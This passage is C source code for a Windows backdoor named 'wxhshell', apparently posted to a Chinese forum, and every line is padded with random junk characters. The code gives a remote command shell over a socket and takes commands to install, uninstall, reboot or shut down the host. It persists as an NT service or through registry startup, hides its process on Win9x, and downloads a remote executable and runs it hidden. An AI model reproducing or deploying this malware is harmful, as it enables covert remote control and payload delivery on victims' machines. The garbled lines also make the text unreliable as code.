  // 帮助 i12iB+q  
  case '?': { #t{?WkO[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '8dgYj  
    break; ]@Zj-n8  
  } B"8^5#t4s  
  // 安装 %>pglI  
  case 'i': { \|wV Ii  
    if(Install())  \ 1|T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &@{ Ba~S  
    else =f{r+'[;^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~KrzJp=5F  
    break; 6rPe\'n=B  
    } /FB'  
  // 卸载 Imi_}NB+  
  case 'r': { N{E >R&,q  
    if(Uninstall()) _H%ylAt1j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l-M~e]  
    else K b{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L2Mcs  
    break; 9[8?'`m  
    } pn'*w 1i  
  // 显示 wxhshell 所在路径 Y[*z6gP(  
  case 'p': { bJGT^N@  
    char svExeFile[MAX_PATH]; x'n J_0  
    strcpy(svExeFile,"\n\r"); 2uU~$7~N  
      strcat(svExeFile,ExeFile); PcJ,Y\"[  
        send(wsh,svExeFile,strlen(svExeFile),0); ^<ayPV)+  
    break; kOJs;k  
    } [UFLL:_sC  
  // 重启 fMhMB |W.  
  case 'b': { @hg1&pfxZ<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); : h-N  
    if(Boot(REBOOT)) :)%Vahu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Te: &d  
    else { X0p=jBye~>  
    closesocket(wsh); Xc`'i@FX  
    ExitThread(0); X}g!Lp  
    } a i}8+L8-  
    break; 0*,r  
    } z <s]Z  
  // 关机 pbju;h)O!|  
  case 'd': { .Ml}cE$L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]cFqKs  
    if(Boot(SHUTDOWN)) RqH"+/wR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rs5G5W@"A  
    else { [4sbOl5yZ  
    closesocket(wsh); ])T*T$u  
    ExitThread(0); "(T@*"vX2  
    } IO|">a6  
    break; 4,T S1H  
    } TzerAX^  
  // 获取shell uFG]8pj2V1  
  case 's': { 3'*SSZmnOB  
    CmdShell(wsh); m9xO& @#vx  
    closesocket(wsh); O`~T:N|D  
    ExitThread(0); 36.L1!d)pE  
    break; =U3 !D;XP  
  } " c}pY^(  
  // 退出 %6dFACv  
  case 'x': { ; l+3l ez  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %w_h8  
    CloseIt(wsh); (g4.bbEm  
    break; P\N$TYeH  
    }  +'Tr>2V  
  // 离开 JdFMSmZ@  
  case 'q': { 9LzQp`In  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lhJT&  
    closesocket(wsh); =Tb~CT=  
    WSACleanup(); ?$ o9/9w  
    exit(1); uiM*!ge  
    break; rhwY5FD?  
        } d%5QEVV  
  } rp.JYz,  
  } (&+ ~hW5d  
gmy_ZVU'  
  // 提示信息 IP/ zFbc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )\'U$  
} [ gx<7}[  
  } >*{\N^:z  
fg+Q7'*Vq  
  return; Z!7#"wO9+V  
} jA<v<oV  
:Uj+iYE8Z8  
// shell模块句柄 Ah) _mxK  
int CmdShell(SOCKET sock) .B_) w:oF  
{ 3($%AGKJ  
STARTUPINFO si; :Y ~fPke  
ZeroMemory(&si,sizeof(si)); Y(W>([59  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RY&Wvkjh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;' YM@n  
PROCESS_INFORMATION ProcessInfo; IWsB$T  
char cmdline[]="cmd"; Cddw\|'3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >mi%L3Pk  
  return 0; dX,2cK[aG  
} lMFj"x\  
??ah  
// 自身启动模式 "JKrbgN@;L  
int StartFromService(void) T&X*[kP  
{ M($dh9A_  
typedef struct v8Bi1,g  
{ ?4(uwX p  
  DWORD ExitStatus; a[[u>oHyd  
  DWORD PebBaseAddress; j*rra  
  DWORD AffinityMask; UYD(++  
  DWORD BasePriority; %'%r.  
  ULONG UniqueProcessId; h 5t,5e}  
  ULONG InheritedFromUniqueProcessId; `lqMifD  
}   PROCESS_BASIC_INFORMATION; <s)+V6 \E  
FsTE.PT  
PROCNTQSIP NtQueryInformationProcess; ^SVdaQ{7  
-U'6fx) +  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L&][730  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4:y;<8+j\  
DNq=|?qn]  
  HANDLE             hProcess; 6rF[eb  
  PROCESS_BASIC_INFORMATION pbi; WojZ[j>  
|wQ|h$|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7Ha +@  
  if(NULL == hInst ) return 0; (zCas}YAKI  
mc~d4<$`!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 218ZUg -a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yf2U-s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]ta]OK{s"  
|j#x}8 [(  
  if (!NtQueryInformationProcess) return 0; HhH[pE  
;vc$;54K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4%aODr8  
  if(!hProcess) return 0; K%1'zSAyK  
2_ <  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 90Jxn'>^  
`LEk/b1(P  
  CloseHandle(hProcess); (iIJ[{[H4)  
GL(R9Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r> eOq[z  
if(hProcess==NULL) return 0; qXn %c"  
RYZh"1S;k  
HMODULE hMod; /<\>j+SC  
char procName[255]; w*eO9k  
unsigned long cbNeeded; 66,?f<b  
s>9w+|6Ji  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #(?EL@5  
XuVbi=pN.2  
  CloseHandle(hProcess); %($sj| _l  
hIuK s5`  
if(strstr(procName,"services")) return 1; // 以服务启动 H :}|UW  
dUk^DI,:l  
  return 0; // 注册表启动 % TyR8 %  
} X25cU{  
{()8 W r  
// 主模块 lGwX.cA!'  
int StartWxhshell(LPSTR lpCmdLine) LBk1Qw}-  
{ hvnZ 2x.?d  
  SOCKET wsl; RM|<(kq  
BOOL val=TRUE; >t.2!Z_RQ  
  int port=0; 5lu620o  
  struct sockaddr_in door; KcF2}+iM   
Mmq{]q~At  
  if(wscfg.ws_autoins) Install(); Ie`kzssM  
H^Ik FEVs  
port=atoi(lpCmdLine); =mxmJFA  
P#Z$+&)b)s  
if(port<=0) port=wscfg.ws_port; lBvQ?CJ<y  
.ZJt  
  WSADATA data; nsqc^ K^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aF1pq  
x\)0+c~\}x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KA# 4iu{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M~t S *  
  door.sin_family = AF_INET; B<T wTv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O%AQ'['  
  door.sin_port = htons(port); 3b (I~  
79AOvh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  P 1X8  
closesocket(wsl); `r & IA  
return 1; >j{phZ  
} DB-4S-2  
we9R4 *j  
  if(listen(wsl,2) == INVALID_SOCKET) { #qi@I;;t  
closesocket(wsl); 9He>F7J:p'  
return 1; .h-:) e*  
} (y7U}Sb'  
  Wxhshell(wsl); zjs@7LN  
  WSACleanup(); UxzZr%>s  
oIdMDp^$  
return 0; J GnL[9P_  
n a])bBn  
} d nWh}!  
\/*r45!  
// 以NT服务方式启动 q %i2' yE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `PnB<rf:*1  
{ ~Aq;g$IJZ  
DWORD   status = 0; ):E4qlB  
  DWORD   specificError = 0xfffffff; #>g]CRN  
i9[=x(-@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :(VD<"X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Sp: `Z1kH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h`F8GNx(  
  serviceStatus.dwWin32ExitCode     = 0; Gdq_T*  
  serviceStatus.dwServiceSpecificExitCode = 0; a]|P rjPI  
  serviceStatus.dwCheckPoint       = 0; `So*\#\T  
  serviceStatus.dwWaitHint       = 0; `{s:lf  
_V^^%$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3N|,c]|  
  if (hServiceStatusHandle==0) return; /!rH DcR  
dU+28  
status = GetLastError(); #8z2>&:|  
  if (status!=NO_ERROR) r5t C  
{ sc\4.Ux%Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8q{ %n   
    serviceStatus.dwCheckPoint       = 0; tbrjTeC  
    serviceStatus.dwWaitHint       = 0; s"#>Xc  
    serviceStatus.dwWin32ExitCode     = status; N>giFj[dD  
    serviceStatus.dwServiceSpecificExitCode = specificError; y)X1!3~(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lPFT)>(+@  
    return; YIGQDj@  
  } UaA6  
.e%PK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2JwR?<n{  
  serviceStatus.dwCheckPoint       = 0; wyeiz7  
  serviceStatus.dwWaitHint       = 0; ;  6Js   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {.v-  
} f5<qF ]Y/  
USy^Y?~ ;  
// 处理NT服务事件,比如:启动、停止 ]f=108|8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =t\HtAXn[  
{ `6koQZm  
switch(fdwControl) xH#R_  
{ u snbGkq  
case SERVICE_CONTROL_STOP: IF YGl  
  serviceStatus.dwWin32ExitCode = 0; G]X72R?g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E+k#1c|v$  
  serviceStatus.dwCheckPoint   = 0; EH<rUv63  
  serviceStatus.dwWaitHint     = 0; eSHyA+ F  
  { _"%mLH=!8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TC;2K,.#k  
  } 4Z5ZV!  
  return; 9#L0Q%,*  
case SERVICE_CONTROL_PAUSE: 9E~=/Q=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #u`i4  
  break; w K0vKdi  
case SERVICE_CONTROL_CONTINUE: *U|K~dl]K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q'9u8b  
  break; =Bu> }$BD  
case SERVICE_CONTROL_INTERROGATE: BWV)> -V  
  break; |{]W (/  
}; i;>Yx#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8`l bKV  
} :1NF#-2\f  
Y4 q;  
// 标准应用程序主函数 qKag'0e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >J,Rx!fq3  
{ ")LcB' C  
+ pTc2z  
// 获取操作系统版本 [Zc8tE2oN  
OsIsNt=GetOsVer(); U[1Rw6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ey7SQb  
w'E&w)Z]  
  // 从命令行安装 S)ZcH  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;5QdT{$H  
Ry9kGdqO  
  // 下载执行文件 CmKbpN*  
if(wscfg.ws_downexe) { |X@ZM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LPO:K a  
  WinExec(wscfg.ws_filenam,SW_HIDE); =0!PnBGYn  
} {2QCdj46  
%>u (UmFO  
if(!OsIsNt) { o|FjNL  
// 如果时win9x,隐藏进程并且设置为注册表启动 H y}oSy26  
HideProc(); Hz39v44  
StartWxhshell(lpCmdLine); AlF"1X02  
} Q |,(C0<G  
else =wbgZr^2  
  if(StartFromService()) 1P i_V  
  // 以服务方式启动 "@uKe8r|y  
  StartServiceCtrlDispatcher(DispatchTable); yh~*Kt]9Ya  
else 3 VNYDY`>  
  // 普通方式启动 }EM  vEA  
  StartWxhshell(lpCmdLine); Q{FK_Mv<  
:98<dQIG  
return 0; W !TnS/O_1  
}
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只看该作者 1 发表于: 2006-10-10
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